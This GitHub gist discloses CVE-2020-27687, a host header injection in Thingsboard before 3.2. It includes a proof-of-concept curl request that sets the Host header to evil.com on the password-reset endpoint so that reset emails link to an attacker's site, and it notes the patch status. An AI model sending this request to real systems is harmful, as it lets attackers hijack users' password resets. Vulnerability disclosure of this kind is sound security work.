vin01 / **CVE-2020-27687.md**

Last active 2 years ago

☆ Star

<> Code   Revisions 2

CVE-2020-27687: Host header injection in Thingsboard prior to version 3.2

CVE-2020-27687.md

This vulnerability allows an attacker to inject host header which is used to generate password reset links among other things.

PoC:

```
curl 'https://thingsboard_host/api/noauth/resetPasswordByEmail' -H 'Host: evil.com'   -H 'Connection: keep-alive'   -
H 'Accept: application/json, text/plain, */*'   -H 'User-Agent: Mozilla/5.0'   -H 'Content-Type: application/json'
-H 'Origin: https://thingsboard_host'   -H 'Sec-Fetch-Site: same-origin'   -H 'Sec-Fetch-Mode: cors'   -H 'Sec-Fetch-
Dest: empty'   -H 'Referer: https://thingsboard_host/login/resetPasswordRequest'   -H 'Accept-Language: en-GB,en-
US;q=0.9,en;q=0.8'   --data-binary '{"email":"victim@example"}'   --compressed
```

This will send an email to victim which points to https://evil.com instead of actual Thingsboard url. This allows an attacker to trick users into submitting their password reset tokens and new passwords to malicious websites linked from genuine Thingsboard mails.

It seems to have been patched in `3.2` where an option is provided to disable this behavior.

UI change: https://github.com/thingsboard/thingsboard/commit/6cc8eada320b9fb716da67f51939d3e94c024852

Default installation would still be vulnerable though.

- https://nvd.nist.gov/vuln/detail/CVE-2020-27687